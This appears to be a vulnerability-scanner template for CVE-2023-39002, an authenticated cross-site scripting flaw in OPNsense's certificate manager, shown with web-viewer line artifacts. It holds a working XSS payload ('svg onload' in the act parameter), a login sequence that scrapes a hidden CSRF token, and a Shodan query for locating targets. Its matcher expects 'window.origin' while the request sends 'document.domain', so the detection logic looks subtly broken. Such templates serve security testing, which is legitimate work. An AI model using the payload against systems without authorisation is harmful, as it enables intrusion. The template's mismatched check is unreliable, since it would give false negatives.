70 lines
1.8 KiB
YAML
70 lines
1.8 KiB
YAML
|
id: CVE-2023-39002
|
||
|
|
|
||
|
info:
|
||
|
|
name: OPNsense - Cross-Site Scripting/RCE
|
||
|
author: Herry
|
||
|
|
severity: medium
|
||
|
|
description: |
|
||
|
|
A cross-site scripting (XSS) vulnerability in the act parameter of system_certmanager.php in OPNsense before 23.7 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.
|
||
|
|
reference:
|
||
|
|
- https://logicaltrust.net/blog/2023/08/opnsense.html
|
||
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-39002
|
||
|
|
classification:
|
||
|
|
cve-id: CVE-2023-39002
|
||
|
|
metadata:
|
||
|
|
max-request: 3
|
||
|
|
shodan-query: title:"OPNsense"
|
||
|
|
tags: cve,cve2023,opnsense,xss,authenticated,rce
|
||
|
|
|
||
|
|
http:
|
||
|
|
- raw:
|
||
|
|
- |
|
||
|
|
GET / HTTP/1.1
|
||
|
|
Host: {{Hostname}}
|
||
|
|
|
||
|
|
- |
|
||
|
|
POST / HTTP/1.1
|
||
|
|
Host: {{Hostname}}
|
||
|
|
Cookie: PHPSESSID=9dfedabe761929052170ce6821379157; cookie_test=544eaf44c3c92e506d5a218546cc5723
|
||
|
|
Content-Type: application/x-www-form-urlencoded
|
||
|
|
|
||
|
|
{{para}}={{value}}&usernamefld={{username}}&passwordfld={{password}}&login=1
|
||
|
|
|
||
|
|
- |
|
||
|
|
GET /system_certmanager.php?act=%22%3E%3Csvg/onload=alert(document.domain)%3E&id=0 HTTP/1.1
|
||
|
|
Host: {{Hostname}}
|
||
|
|
|
||
|
|
cookie-reuse: true
|
||
|
|
matchers-condition: and
|
||
|
|
matchers:
|
||
|
|
- type: word
|
||
|
|
part: body_3
|
||
|
|
words:
|
||
|
|
- 'value=""><svg/onload=alert(window.origin)> "/>'
|
||
|
|
|
||
|
|
- type: word
|
||
|
|
part: header_3
|
||
|
|
words:
|
||
|
|
- "text/html"
|
||
|
|
|
||
|
|
- type: status
|
||
|
|
status:
|
||
|
|
- 200
|
||
|
|
|
||
|
|
extractors:
|
||
|
|
- type: regex
|
||
|
|
name: para
|
||
|
|
part: body
|
||
|
|
group: 1
|
||
|
|
regex:
|
||
|
|
- 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'
|
||
|
|
internal: true
|
||
|
|
|
||
|
|
- type: regex
|
||
|
|
name: value
|
||
|
|
part: body
|
||
|
|
group: 2
|
||
|
|
regex:
|
||
|
|
- 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'
|
||
|
|
internal: true
|